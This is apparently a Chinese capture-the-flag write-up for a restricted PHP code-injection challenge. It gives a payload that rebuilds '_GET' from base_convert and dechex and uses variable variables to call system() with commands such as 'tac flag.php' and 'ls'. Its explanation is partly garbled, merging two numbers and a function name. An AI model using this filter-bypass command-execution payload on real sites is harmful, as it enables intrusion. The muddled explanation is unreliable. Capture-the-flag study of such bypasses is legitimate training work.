c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=tac f* //原始为c=$pi=_GET;$$pi{abs}($$pi{acos})&abs=system&acos=tac f*

其他解释

$pi是因为题目限制只能用这个,其他的不让用 首先$pi的值是_GET,定义这个变量是因为为了动态调用php函数 动态调用 PHP 函数,需要使用 $var{func} 这种形式,其中 $var 是一个字符串,{func} 表示函数名。否则,如果直接使用 $func,则 PHP 引擎会将其解释为一个未定义的常量,并且会导致语法错误。 为了调用system函数,就要构造

$pi{abs}($pi{acos});&abs=system&acos=ls
$pi{abs}($pi{acos});&abs=system&acos=tac flag.php

因为$pi 是一个字符串,而不是一个函数。$pi 的值是通过将 379073617431598506324 作为参数传递给 base_convertdechex 函数计算得到的字符串。因此,如果直接使用 $pi{abs}($pi{acos}),PHP 引擎将无法识别 $pi 变量中的函数名。 为了解决这个问题,可以使用 PHP 变量变量解析器和函数调用链来动态调用函数。具体来说,$$pi{abs}$pi{abs} 解释为一个变量名,然后使用 $pi{acos} 作为该变量名的值进行函数调用。因此,$$pi{abs}($$pi{acos}) 将会调用 $pi{abs}($pi{acos})。 所以要构造

$$pi{abs}($$pi{acos});&abs=system&acos=ls
$$pi{abs}($$pi{acos});&abs=system&acos=tac flag.php

image-20250305135706368